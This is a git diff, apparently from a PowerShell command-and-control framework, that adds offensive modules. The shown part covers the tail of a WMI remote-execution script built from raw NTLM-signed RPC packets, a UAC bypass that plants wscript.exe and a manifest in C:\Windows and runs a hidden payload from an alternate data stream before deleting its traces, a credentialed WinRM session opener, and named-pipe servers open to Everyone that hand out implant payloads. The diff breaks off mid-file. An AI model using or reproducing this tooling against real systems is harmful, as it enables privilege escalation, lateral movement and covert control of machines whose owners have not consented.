0x15,0x01,0x00,0x00,0x73,0x01,0x00,0x00,0x76,0x02,0x00,0x00,0xd4, + 0x02,0x00,0x00,0xb1,0x03,0x00,0x00,0x15,0xff,0xff,0xff,0xff,0xff, + 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x12,0x04,0x00,0x80,0x00,0x5f, + 0x5f,0x50,0x41,0x52,0x41,0x4d,0x45,0x54,0x45,0x52,0x53,0x00,0x00, + 0x61,0x62,0x73,0x74,0x72,0x61,0x63,0x74,0x00,0x08,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x00,0x00, + 0x00,0x00,0x43,0x6f,0x6d,0x6d,0x61,0x6e,0x64,0x4c,0x69,0x6e,0x65, + 0x00,0x00,0x73,0x74,0x72,0x69,0x6e,0x67,0x00,0x08,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x11,0x00,0x00, + 0x00,0x0a,0x00,0x00,0x80,0x03,0x08,0x00,0x00,0x00,0x37,0x00,0x00, + 0x00,0x00,0x49,0x6e,0x00,0x08,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x1c,0x00,0x00,0x00,0x0a,0x00,0x00, + 0x80,0x03,0x08,0x00,0x00,0x00,0x37,0x00,0x00,0x00,0x5e,0x00,0x00, + 0x00,0x02,0x0b,0x00,0x00,0x00,0xff,0xff,0x01,0x00,0x00,0x00,0x94, + 0x00,0x00,0x00,0x00,0x57,0x69,0x6e,0x33,0x32,0x41,0x50,0x49,0x7c, + 0x50,0x72,0x6f,0x63,0x65,0x73,0x73,0x20,0x61,0x6e,0x64,0x20,0x54, + 0x68,0x72,0x65,0x61,0x64,0x20,0x46,0x75,0x6e,0x63,0x74,0x69,0x6f, + 0x6e,0x73,0x7c,0x6c,0x70,0x43,0x6f,0x6d,0x6d,0x61,0x6e,0x64,0x4c, + 0x69,0x6e,0x65,0x20,0x00,0x00,0x4d,0x61,0x70,0x70,0x69,0x6e,0x67, + 0x53,0x74,0x72,0x69,0x6e,0x67,0x73,0x00,0x08,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x29,0x00,0x00,0x00, + 0x0a,0x00,0x00,0x80,0x03,0x08,0x00,0x00,0x00,0x37,0x00,0x00,0x00, + 0x5e,0x00,0x00,0x00,0x02,0x0b,0x00,0x00,0x00,0xff,0xff,0xca,0x00, + 0x00,0x00,0x02,0x08,0x20,0x00,0x00,0x8c,0x00,0x00,0x00,0x00,0x49, + 0x44,0x00,0x08,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x36,0x00,0x00,0x00,0x0a,0x00,0x00,0x80,0x03,0x08, + 0x00,0x00,0x00,0x59,0x01,0x00,0x00,0x5e,0x00,0x00,0x00,0x00,0x0b, + 0x00,0x00,0x00,0xff,0xff,0xca,0x00,0x00,0x00,0x02,0x08,0x20,0x00, + 0x00,0x8c,0x00,0x00,0x00,0x11,0x01,0x00,0x00,0x11,0x03,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x73,0x74,0x72,0x69,0x6e,0x67,0x00, + 0x08,0x00,0x00,0x00,0x01,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x04,0x00,0x00,0x00,0x00,0x43,0x75,0x72,0x72,0x65,0x6e,0x74, + 0x44,0x69,0x72,0x65,0x63,0x74,0x6f,0x72,0x79,0x00,0x00,0x73,0x74, + 0x72,0x69,0x6e,0x67,0x00,0x08,0x00,0x00,0x00,0x01,0x00,0x04,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x11,0x00,0x00,0x00,0x0a,0x00,0x00, + 0x80,0x03,0x08,0x00,0x00,0x00,0x85,0x01,0x00,0x00,0x00,0x49,0x6e, + 0x00,0x08,0x00,0x00,0x00,0x01,0x00,0x04,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x1c,0x00,0x00,0x00,0x0a,0x00,0x00,0x80,0x03,0x08,0x00, + 0x00,0x00,0x85,0x01,0x00,0x00,0xac,0x01,0x00,0x00,0x02,0x0b,0x00, + 0x00,0x00,0xff,0xff,0x01,0x00,0x00,0x00,0xe2,0x01,0x00,0x00,0x00, + 0x57,0x69,0x6e,0x33,0x32,0x41,0x50,0x49,0x7c,0x50,0x72,0x6f,0x63, + 0x65,0x73,0x73,0x20,0x61,0x6e,0x64,0x20,0x54,0x68,0x72,0x65,0x61, + 0x64,0x20,0x46,0x75,0x6e,0x63,0x74,0x69,0x6f,0x6e,0x73,0x7c,0x43, + 0x72,0x65,0x61,0x74,0x65,0x50,0x72,0x6f,0x63,0x65,0x73,0x73,0x7c, + 0x6c,0x70,0x43,0x75,0x72,0x72,0x65,0x6e,0x74,0x44,0x69,0x72,0x65, + 0x63,0x74,0x6f,0x72,0x79,0x20,0x00,0x00,0x4d,0x61,0x70,0x70,0x69, + 0x6e,0x67,0x53,0x74,0x72,0x69,0x6e,0x67,0x73,0x00,0x08,0x00,0x00, + 0x00,0x01,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x29,0x00, + 0x00,0x00,0x0a,0x00,0x00,0x80,0x03,0x08,0x00,0x00,0x00,0x85,0x01, + 0x00,0x00,0xac,0x01,0x00,0x00,0x02,0x0b,0x00,0x00,0x00,0xff,0xff, + 0x2b,0x02,0x00,0x00,0x02,0x08,0x20,0x00,0x00,0xda,0x01,0x00,0x00, + 0x00,0x49,0x44,0x00,0x08,0x00,0x00,0x00,0x01,0x00,0x04,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x36,0x00,0x00,0x00,0x0a,0x00,0x00,0x80, + 0x03,0x08,0x00,0x00,0x00,0xba,0x02,0x00,0x00,0xac,0x01,0x00,0x00, + 0x00,0x0b,0x00,0x00,0x00,0xff,0xff,0x2b,0x02,0x00,0x00,0x02,0x08, + 0x20,0x00,0x00,0xda,0x01,0x00,0x00,0x72,0x02,0x00,0x00,0x11,0x03, + 0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x73,0x74,0x72,0x69,0x6e, + 0x67,0x00,0x0d,0x00,0x00,0x00,0x02,0x00,0x08,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x50,0x72,0x6f,0x63,0x65, + 0x73,0x73,0x53,0x74,0x61,0x72,0x74,0x75,0x70,0x49,0x6e,0x66,0x6f, + 0x72,0x6d,0x61,0x74,0x69,0x6f,0x6e,0x00,0x00,0x6f,0x62,0x6a,0x65, + 0x63,0x74,0x00,0x0d,0x00,0x00,0x00,0x02,0x00,0x08,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x11,0x00,0x00,0x00,0x0a,0x00,0x00,0x80,0x03, + 0x08,0x00,0x00,0x00,0xef,0x02,0x00,0x00,0x00,0x49,0x6e,0x00,0x0d, + 0x00,0x00,0x00,0x02,0x00,0x08,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x1c,0x00,0x00,0x00,0x0a,0x00,0x00,0x80,0x03,0x08,0x00,0x00,0x00, + 0xef,0x02,0x00,0x00,0x16,0x03,0x00,0x00,0x02,0x0b,0x00,0x00,0x00, + 0xff,0xff,0x01,0x00,0x00,0x00,0x4c,0x03,0x00,0x00,0x00,0x57,0x4d, + 0x49,0x7c,0x57,0x69,0x6e,0x33,0x32,0x5f,0x50,0x72,0x6f,0x63,0x65, + 0x73,0x73,0x53,0x74,0x61,0x72,0x74,0x75,0x70,0x00,0x00,0x4d,0x61, + 0x70,0x70,0x69,0x6e,0x67,0x53,0x74,0x72,0x69,0x6e,0x67,0x73,0x00, + 0x0d,0x00,0x00,0x00,0x02,0x00,0x08,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x29,0x00,0x00,0x00,0x0a,0x00,0x00,0x80,0x03,0x08,0x00,0x00, + 0x00,0xef,0x02,0x00,0x00,0x16,0x03,0x00,0x00,0x02,0x0b,0x00,0x00, + 0x00,0xff,0xff,0x66,0x03,0x00,0x00,0x02,0x08,0x20,0x00,0x00,0x44, + 0x03,0x00,0x00,0x00,0x49,0x44,0x00,0x0d,0x00,0x00,0x00,0x02,0x00, + 0x08,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x36,0x00,0x00,0x00,0x0a, + 0x00,0x00,0x80,0x03,0x08,0x00,0x00,0x00,0xf5,0x03,0x00,0x00,0x16, + 0x03,0x00,0x00,0x00,0x0b,0x00,0x00,0x00,0xff,0xff,0x66,0x03,0x00, + 0x00,0x02,0x08,0x20,0x00,0x00,0x44,0x03,0x00,0x00,0xad,0x03,0x00, + 0x00,0x11,0x03,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x6f,0x62, + 0x6a,0x65,0x63,0x74,0x3a,0x57,0x69,0x6e,0x33,0x32,0x5f,0x50,0x72, + 0x6f,0x63,0x65,0x73,0x73,0x53,0x74,0x61,0x72,0x74,0x75,0x70 + + (,0x00 * 501) + + $command_length + + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3c,0x0e,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x01 + + $command_length2 + + 0x00,0x80,0x00,0x5f,0x5f,0x50,0x41,0x52,0x41,0x4d,0x45,0x54,0x45, + 0x52,0x53,0x00,0x00 + + $command_bytes + + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x00,0x02,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00 + + if($Stub_data.Length -lt $request_split_index) + { + $request_flags = 0x83 + $WMI_client_stage_next = 'Result' + } + else + { + $request_split = $true + $request_split_stage_final = [Math]::Ceiling($stub_data.Length / $request_split_index) + + if($request_split_stage -lt 2) + { + $request_length = $stub_data.Length + $stub_data = $stub_data[0..($request_split_index - 1)] + $request_split_stage = 2 + $sequence_number_counter = 10 + $request_flags = 0x81 + $request_split_index_tracker = $request_split_index + $WMI_client_stage_next = 'Request' + } + elseif($request_split_stage -eq $request_split_stage_final) + { + $request_split = $false + $sequence_number = [System.BitConverter]::GetBytes($sequence_number_counter) + $request_split_stage = 0 + $stub_data = $stub_data[$request_split_index_tracker..$stub_data.Length] + $request_flags = 0x82 + $WMI_client_stage_next = 'Result' + } + else + { + $request_length = $stub_data.Length - $request_split_index_tracker + $stub_data = $stub_data[$request_split_index_tracker..($request_split_index_tracker + $request_split_index - 1)] + $request_split_index_tracker += $request_split_index + $request_split_stage++ + $sequence_number = [System.BitConverter]::GetBytes($sequence_number_counter) + $sequence_number_counter++ + $request_flags = 0x80 + $WMI_client_stage_next = 'Request' + } + + } + + } + + } + + $packet_RPC = Get-PacketRPCRequest $request_flags $stub_data.Length 16 $request_auth_padding $request_call_ID $request_context_ID $request_opnum $request_UUID + + if($request_split) + { + $packet_RPC["RPCRequest_AllocHint"] = [System.BitConverter]::GetBytes($request_length) + } + + $packet_NTLMSSP_verifier = Get-PacketNTLMSSPVerifier $request_auth_padding 0x04 $sequence_number + $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC + $NTLMSSP_verifier = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_verifier + $RPC_signature = $HMAC_MD5.ComputeHash($sequence_number + $RPC + $stub_data + $NTLMSSP_verifier[0..($request_auth_padding + 7)]) + $RPC_signature = $RPC_signature[0..7] + $packet_NTLMSSP_verifier["NTLMSSPVerifier_NTLMSSPVerifierChecksum"] = $RPC_signature + $NTLMSSP_verifier = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_verifier + $WMI_client_send = $RPC + $stub_data + $NTLMSSP_verifier + $WMI_client_random_port_stream.Write($WMI_client_send,0,$WMI_client_send.Length) > $null + $WMI_client_random_port_stream.Flush() + + if(!$request_split) + { + $WMI_client_random_port_stream.Read($WMI_client_receive,0,$WMI_client_receive.Length) > $null + } + + while($WMI_client_random_port_stream.DataAvailable) + { + $WMI_client_random_port_stream.Read($WMI_client_receive,0,$WMI_client_receive.Length) > $null + Start-Sleep -m $Sleep + } + + $WMI_client_stage = $WMI_client_stage_next + } + + 'Result' + { + + while($WMI_client_random_port_stream.DataAvailable) + { + $WMI_client_random_port_stream.Read($WMI_client_receive,0,$WMI_client_receive.Length) > $null + Start-Sleep -m $Sleep + } + + if($WMI_client_receive[1145] -ne 9) + { + $target_process_ID = DataLength2 1141 $WMI_client_receive + Write-Output "Command executed with process ID $target_process_ID on $target_long" + } + else + { + Write-Output "Process did not start, check your command" + } + + $WMI_client_stage = 'exit' + } + + } + + Start-Sleep -m $Sleep + + } + + $WMI_client_random_port.Close() + $WMI_client_random_port_stream.Close() + } + + $WMI_client.Close() + $WMI_client_stream.Close() + } + +} + +} + +Function Get-MD4Hash { +<# +.SYNOPSIS + This cmdlet returns the MD4 hash of the data that is input. + WARNING: MD4 is not secure, so it should NEVER be used to + protect sensitive data. This cmdlet is for research purposes only! + +.DESCRIPTION + This cmdlet returns the MD4 hash of the data that is input. + WARNING: MD4 is not secure, so it should NEVER be used to + protect sensitive data. This cmdlet is for research purposes only! + This cmdlet uses Microsoft's implementation of MD4, exported + from bcrypt.dll. The implementation is fully compliant with + RFC 1320. This cmdlet takes a byte array as input, not a string. + So if you wanted to hash a string (such as a password,) you + need to convert it to a byte array first. + +.EXAMPLE + Get-MD4Hash -DataToHash $([Text.Encoding]::Unicode.GetBytes("YourPassword1!")) + +.PARAMETER DataToHash + A byte array that represents the data that you want to hash. + +.INPUTS + A byte array containing the data you wish to hash. + +.OUTPUTS + A 128-bit hexadecimal string - the MD4 hash of your data. + +.NOTES + Author: Ryan Ries, 2014, ryan@myotherpcisacloud.com + +.LINK + https://myotherpcisacloud.com +#> + [CmdletBinding()] + Param ([Parameter(Mandatory=$True, ValueFromPipeline=$False)] + [Byte[]]$DataToHash) + END + { + Set-StrictMode -Version Latest + if (-not ([System.Management.Automation.PSTypeName]'dsafdsafdsafds').Type) + { + Add-Type -TypeDefinition @' + using System; + using System.Text; + using System.Runtime.InteropServices; + public class dsafdsafdsafds + { + [DllImport("bcrypt.dll", CharSet = CharSet.Auto)] + public static extern NTStatus BCryptOpenAlgorithmProvider( + [Out] out IntPtr phAlgorithm, + [In] string pszAlgId, + [In, Optional] string pszImplementation, + [In] UInt32 dwFlags); + + [DllImport("bcrypt.dll")] + public static extern NTStatus BCryptCloseAlgorithmProvider( + [In, Out] IntPtr hAlgorithm, + [In] UInt32 dwFlags); + + [DllImport("bcrypt.dll", CharSet = CharSet.Auto)] + public static extern NTStatus BCryptCreateHash( + [In, Out] IntPtr hAlgorithm, + [Out] out IntPtr phHash, + [Out] IntPtr pbHashObject, + [In, Optional] UInt32 cbHashObject, + [In, Optional] IntPtr pbSecret, + [In] UInt32 cbSecret, + [In] UInt32 dwFlags); + + [DllImport("bcrypt.dll")] + public static extern NTStatus BCryptDestroyHash( + [In, Out] IntPtr hHash); + + [DllImport("bcrypt.dll")] + public static extern NTStatus BCryptHashData( + [In, Out] IntPtr hHash, + [In, MarshalAs(UnmanagedType.LPArray)] byte[] pbInput, + [In] int cbInput, + [In] UInt32 dwFlags); + + [DllImport("bcrypt.dll")] + public static extern NTStatus BCryptFinishHash( + [In, Out] IntPtr hHash, + [Out, MarshalAs(UnmanagedType.LPArray)] byte[] pbInput, + [In] int cbInput, + [In] UInt32 dwFlags); + + [Flags] + public enum AlgOpsFlags : uint + { + BCRYPT_PROV_DISPATCH = 0x00000001, + BCRYPT_ALG_HANDLE_HMAC_FLAG = 0x00000008, + BCRYPT_HASH_REUSABLE_FLAG = 0x00000020 + } + + // This is a gigantic enum and I don't want to copy all of it into this Powershell script. + // Basically anything other than zero means something went wrong. + public enum NTStatus : uint + { + STATUS_SUCCESS = 0x00000000 + } + } +'@ +} + + [Byte[]]$HashBytes = New-Object Byte[] 16 + [IntPtr]$PHAlgorithm = [IntPtr]::Zero + [IntPtr]$PHHash = [IntPtr]::Zero + $NTStatus = [dsafdsafdsafds]::BCryptOpenAlgorithmProvider([Ref] $PHAlgorithm, 'MD4', $Null, 0) + If ($NTStatus -NE 0) + { + Write-Error "BCryptOpenAlgorithmProvider failed with NTSTATUS $NTStatus" + If ($PHAlgorithm -NE [IntPtr]::Zero) + { + $NTStatus = [dsafdsafdsafds]::BCryptCloseAlgorithmProvider($PHAlgorithm, 0) + } + Return + } + $NTStatus = [dsafdsafdsafds]::BCryptCreateHash($PHAlgorithm, [Ref] $PHHash, [IntPtr]::Zero, 0, [IntPtr]::Zero, 0, 0) + If ($NTStatus -NE 0) + { + Write-Error "BCryptCreateHash failed with NTSTATUS $NTStatus" + If ($PHHash -NE [IntPtr]::Zero) + { + $NTStatus = [dsafdsafdsafds]::BCryptDestroyHash($PHHash) + } + If ($PHAlgorithm -NE [IntPtr]::Zero) + { + $NTStatus = [dsafdsafdsafds]::BCryptCloseAlgorithmProvider($PHAlgorithm, 0) + } + Return + } + + $NTStatus = [dsafdsafdsafds]::BCryptHashData($PHHash, $DataToHash, $DataToHash.Length, 0) + $NTStatus = [dsafdsafdsafds]::BCryptFinishHash($PHHash, $HashBytes, $HashBytes.Length, 0) + + If ($PHHash -NE [IntPtr]::Zero) + { + $NTStatus = [dsafdsafdsafds]::BCryptDestroyHash($PHHash) + } + If ($PHAlgorithm -NE [IntPtr]::Zero) + { + $NTStatus = [dsafdsafdsafds]::BCryptCloseAlgorithmProvider($PHAlgorithm, 0) + } + + $HashString = New-Object System.Text.StringBuilder + Foreach ($Byte In $HashBytes) + { + [Void]$HashString.Append($Byte.ToString("X2")) + } + Return $HashString.ToString() + } +} \ No newline at end of file diff --git a/Modules/Invoke-WScriptBypassUAC.ps1 b/Modules/Invoke-WScriptBypassUAC.ps1 new file mode 100644 index 0000000..38ac120 --- /dev/null +++ b/Modules/Invoke-WScriptBypassUAC.ps1 @@ -0,0 +1,193 @@ +function Invoke-WScriptBypassUAC +{ + <# + .SYNOPSIS + + Performs the bypass UAC attack by abusing the lack of an embedded manifest in wscript.exe. + + Author: @enigma0x3, @harmj0y, Vozzie + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + + .DESCRIPTION + + Drops wscript.exe and a custom manifest into C:\Windows and then proceeds to execute VBScript using the wscript executable + with the new manifest. The VBScript executed by C:\Windows\wscript.exe will run elevated. + + .PARAMETER payload + The code you want wscript.exe to run elevated. Put the full command in quotes. + + .EXAMPLE + Invoke-WScriptBypass -payload "powershell.exe -ep Bypass -WindowStyle Hidden -enc " + + .LINK + http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html + https://github.com/Vozzie/uacscript + #> + + [CmdletBinding()] + Param( + [Parameter(Mandatory=$True)] + [string] + $payload + ) + + function Local:Get-TempFileName { + #Generate Temporary File Name + $sTempFolder = $env:Temp + $sTempFolder = $sTempFolder + "\" + $sTempFileName = [System.IO.Path]::GetRandomFileName() + ".tmp" + $sTempFileName = $sTempFileName -split '\.',([regex]::matches($sTempFileName,"\.").count) -join '' + $sTempFileNameFinal = $sTempFolder + $sTempFileName + return $sTempFileNameFinal + } + + function Local:Invoke-CopyFile($sSource, $sTarget) { + # Cab wscript, send to temp and then extract it from temp to $env:WINDIR + $sTempFile = Get-TempFileName + Start-Process -WindowStyle Hidden -FilePath "$($env:WINDIR)\System32\makecab.exe" -ArgumentList "$sSource $sTempFile" + $null = wusa "$sTempFile" /extract:"$sTarget" /quiet + + # sleep for 2 seconds to allow for extraction to finish + Start-Sleep -s 2 + + # remove the temp files + Remove-Item $sTempFile + } + + function Local:Invoke-WscriptTrigger { + + $VBSfileName = [System.IO.Path]::GetRandomFileName() + ".vbs" + $ADSFile = $VBSFileName -split '\.',([regex]::matches($VBSFileName,"\.").count) -join '' + + $VBSPayload = "Dim objShell:" + $VBSPayload += "Dim oFso:" + $VBSPayload += "Set oFso = CreateObject(""Scripting.FileSystemObject""):" + $VBSPayload += "Set objShell = WScript.CreateObject(""WScript.Shell""):" + $VBSPayload += "command = ""$payload"":" + $VBSPayload += "objShell.Run command, 0:" + + # stupid command to kick off a background cmd process to delete the wscript and manifest + $DelCommand = "$($env:WINDIR)\System32\cmd.exe /c """"start /b """""""" cmd /c """"timeout /t 5 >nul&&del $($env:WINDIR)\wscript.exe&&del $($env:WINDIR)\wscript.exe.manifest""""""""" + $VBSPayload += "command = ""$DelCommand"":" + $VBSPayload += "objShell.Run command, 0:" + $VBSPayload += "Set objShell = Nothing" + + "[*] Storing VBS payload into `"$env:USERPROFILE\AppData:$ADSFile`"" + $CreateWrapperADS = {cmd /C "echo $VBSPayload > ""$env:USERPROFILE\AppData:$ADSFile"""} + Invoke-Command -ScriptBlock $CreateWrapperADS + + "[*] Executing VBS payload with modified scripting host" + $ExecuteScript = {cmd /C "$($env:WINDIR)\wscript.exe ""$env:USERPROFILE\AppData:$ADSFile"""} + Invoke-Command -ScriptBlock $ExecuteScript + + "[*] Removing Alternate Data Stream from $("$env:USERPROFILE\AppData:$ADSFile")" + Remove-ADS $env:USERPROFILE\AppData:$ADSFile + } + + function Local:Invoke-WscriptElevate { + + $WscriptManifest = +@" + + + + + + + + + + + + true + true + + + +"@ + + # Copy and apply manifest to wscript.exe + $sManifest = $env:Temp + "\wscript.exe.manifest" + $WscriptManifest | Out-File $sManifest -Encoding UTF8 + + "[*] Cabbing and extracting manifest into $($env:WINDIR)" + Invoke-CopyFile $sManifest $env:WINDIR + + "[*] Cabbing and extracting wscript.exe into $($env:WINDIR)" + $WScriptPath = "$($env:WINDIR)\System32\wscript.exe" + Invoke-CopyFile $WScriptPath $env:WINDIR + Remove-Item -Force $sManifest + + # execute the payload + Invoke-WscriptTrigger + } + + function Local:Remove-ADS { + <# + .SYNOPSIS + Removes an alterate data stream from a specified location. + P/Invoke code adapted from PowerSploit's Mayhem.psm1 module. + Author: @harmj0y, @mattifestation + License: BSD 3-Clause + .LINK + https://github.com/mattifestation/PowerSploit/blob/master/Mayhem/Mayhem.psm1 + #> + [CmdletBinding()] Param( + [Parameter(Mandatory=$True)] + [string]$ADSPath + ) + + #region define P/Invoke types dynamically + # stolen from PowerSploit https://github.com/mattifestation/PowerSploit/blob/master/Mayhem/Mayhem.psm1 + $DynAssembly = New-Object System.Reflection.AssemblyName('Win32') + $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32', $False) + + $TypeBuilder = $ModuleBuilder.DefineType('Win32.Kernel32', 'Public, Class') + $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) + $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError') + $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, + @('kernel32.dll'), + [Reflection.FieldInfo[]]@($SetLastError), + @($True)) + + # Define [Win32.Kernel32]::DeleteFile + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('DeleteFile', + 'kernel32.dll', + ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), + [Reflection.CallingConventions]::Standard, + [Bool], + [Type[]]@([String]), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Ansi) + $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) + + $Kernel32 = $TypeBuilder.CreateType() + + $Result = $Kernel32::DeleteFile($ADSPath) + + if ($Result){ + Write-Verbose "Alternate Data Stream at $ADSPath successfully removed." + } + else{ + Write-Verbose "Alternate Data Stream at $ADSPath removal failure!" + } + } + + #make sure we are running on vulnerable windows version (vista,7) + $OSVersion = [Environment]::OSVersion.Version + if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))){ + if(([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator") -eq $True){ + Write-Warning "[!] You are already elevated!" + } + else { + Invoke-WscriptElevate + } + }else{Write-Warning "[!] Target Not Vulnerable"} +} + +Set-Alias Invoke-WScriptUACBypass Invoke-WScriptBypassUAC diff --git a/Modules/Invoke-WinRMSession.ps1 b/Modules/Invoke-WinRMSession.ps1 new file mode 100644 index 0000000..3e89da6 --- /dev/null +++ b/Modules/Invoke-WinRMSession.ps1 @@ -0,0 +1,26 @@ +Function Get-RandomName +{ + param ( + [int]$Length + ) + $set = 'abcdefghijklmnopqrstuvwxyz'.ToCharArray() + $result = '' + for ($x = 0; $x -lt $Length; $x++) + {$result += $set | Get-Random} + return $result +} +Function Invoke-WinRMSession { +param ( +$username, +$Password, +$IPAddress +) +$PSS = ConvertTo-SecureString $password -AsPlainText -Force +$getcreds = new-object system.management.automation.PSCredential $username,$PSS + +$randomvar = (Get-RandomName 5) +New-Variable -Name $randomvar -Scope Global -Value (New-PSSession -ComputerName $IPAddress -Credential $getcreds) +$randomvar = "$"+"$randomvar" +Return "`nSession opened, to run a command do the following:`nInvoke-Command -Session $randomvar -scriptblock {Get-Process} | out-string" + +} \ No newline at end of file diff --git a/Modules/NamedPipe.ps1 b/Modules/NamedPipe.ps1 new file mode 100644 index 0000000..75e1f89 --- /dev/null +++ b/Modules/NamedPipe.ps1 @@ -0,0 +1,42 @@ +$scriptblock = +{ + param ($Payload) + $PipeName = "PoshMS" + $p = [System.IO.Directory]::GetFiles("\\.\\pipe\\") + $start = $true + foreach ($i in $p) { + if ($i -like "*PoshMS") { + $start = $false + } + } + while ($start) { + add-Type -assembly "System.Core" + $PipeSecurity = New-Object System.IO.Pipes.PipeSecurity + $AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" ) + $PipeSecurity.AddAccessRule($AccessRule) + $Pipe = New-Object System.IO.Pipes.NamedPipeServerStream($PipeName,"InOut",100, "Byte", "None", 1024, 1024, $PipeSecurity) + $pipe.WaitForConnection(); + + $pipeReader = new-object System.IO.StreamReader($pipe) + $pipeWriter = new-object System.IO.StreamWriter($pipe) + $pipeWriter.AutoFlush = $true + $pipeWriter.WriteLine($Payload); + + $pipeReader.Dispose(); + $pipe.Dispose(); + } + exit +} +add-Type -assembly "System.Core" + +$MaxThreads = 5 +$RunspacePool = [RunspaceFactory]::CreateRunspacePool(1, $MaxThreads) +$RunspacePool.Open() +$Jobs = @() +$Job = [powershell]::Create().AddScript($ScriptBlock).AddArgument($payload) +$Job.RunspacePool = $RunspacePool +$Job.BeginInvoke() | Out-Null + +$pi = new-object System.IO.Pipes.NamedPipeClientStream(".", "PoshMS"); + + diff --git a/Modules/NamedPipeDaisy.ps1 b/Modules/NamedPipeDaisy.ps1 new file mode 100644 index 0000000..6c56447 --- /dev/null +++ b/Modules/NamedPipeDaisy.ps1 @@ -0,0 +1,42 @@ +$scriptblock = +{ + param ($Payload) + $PipeName = "PoshMSDaisy" + $p = [System.IO.Directory]::GetFiles("\\.\\pipe\\") + $start = $true + foreach ($i in $p) { + if ($i -like "*PoshMSDaisy") { + $start = $false + } + } + while ($start) { + add-Type -assembly "System.Core" + $PipeSecurity = New-Object System.IO.Pipes.PipeSecurity + $AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" ) + $PipeSecurity.AddAccessRule($AccessRule) + $Pipe = New-Object System.IO.Pipes.NamedPipeServerStream($PipeName,"InOut",100, "Byte", "None", 1024, 1024, $PipeSecurity) + $pipe.WaitForConnection(); + + $pipeReader = new-object System.IO.StreamReader($pipe) + $pipeWriter = new-object System.IO.StreamWriter($pipe) + $pipeWriter.AutoFlush = $true + $pipeWriter.WriteLine($Payload); + + $pipeReader.Dispose(); + $pipe.Dispose(); + } + exit +} +add-Type -assembly "System.Core" + +$MaxThreads = 5 +$RunspacePool = [RunspaceFactory]::CreateRunspacePool(1, $MaxThreads) +$RunspacePool.Open() +$Jobs = @() +$Job = [powershell]::Create().AddScript($ScriptBlock).AddArgument($daisypayload) +$Job.RunspacePool = $RunspacePool +$Job.BeginInvoke() | Out-Null + +$pi = new-object System.IO.Pipes.NamedPipeClientStream(".", "PoshMSDaisy"); + + diff --git a/Modules/NamedPipeProxy.ps1 b/Modules/NamedPipeProxy.ps1 new file mode 100644 index 0000000..d44a47a --- /dev/null +++ b/Modules/NamedPipeProxy.ps1 @@ -0,0 +1,42 @@ +$scriptblock = +{ + param ($Payload) + $PipeName = "PoshMSProxy" + $p = [System.IO.Directory]::GetFiles("\\.\\pipe\\") + $start = $true + foreach ($i in $p) { + if ($i -like "*PoshMSProxy") { + $start = $false + } + } + while ($start) { + add-Type -assembly "System.Core" + $PipeSecurity = New-Object System.IO.Pipes.PipeSecurity + $AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" ) + $PipeSecurity.AddAccessRule($AccessRule) + $Pipe = New-Object System.IO.Pipes.NamedPipeServerStream($PipeName,"InOut",100, "Byte", "None", 1024, 1024, $PipeSecurity) + $pipe.WaitForConnection(); + + $pipeReader = new-object System.IO.StreamReader($pipe) + $pipeWriter = new-object System.IO.StreamWriter($pipe) + $pipeWriter.AutoFlush = $true + $pipeWriter.WriteLine($Payload); + + $pipeReader.Dispose(); + 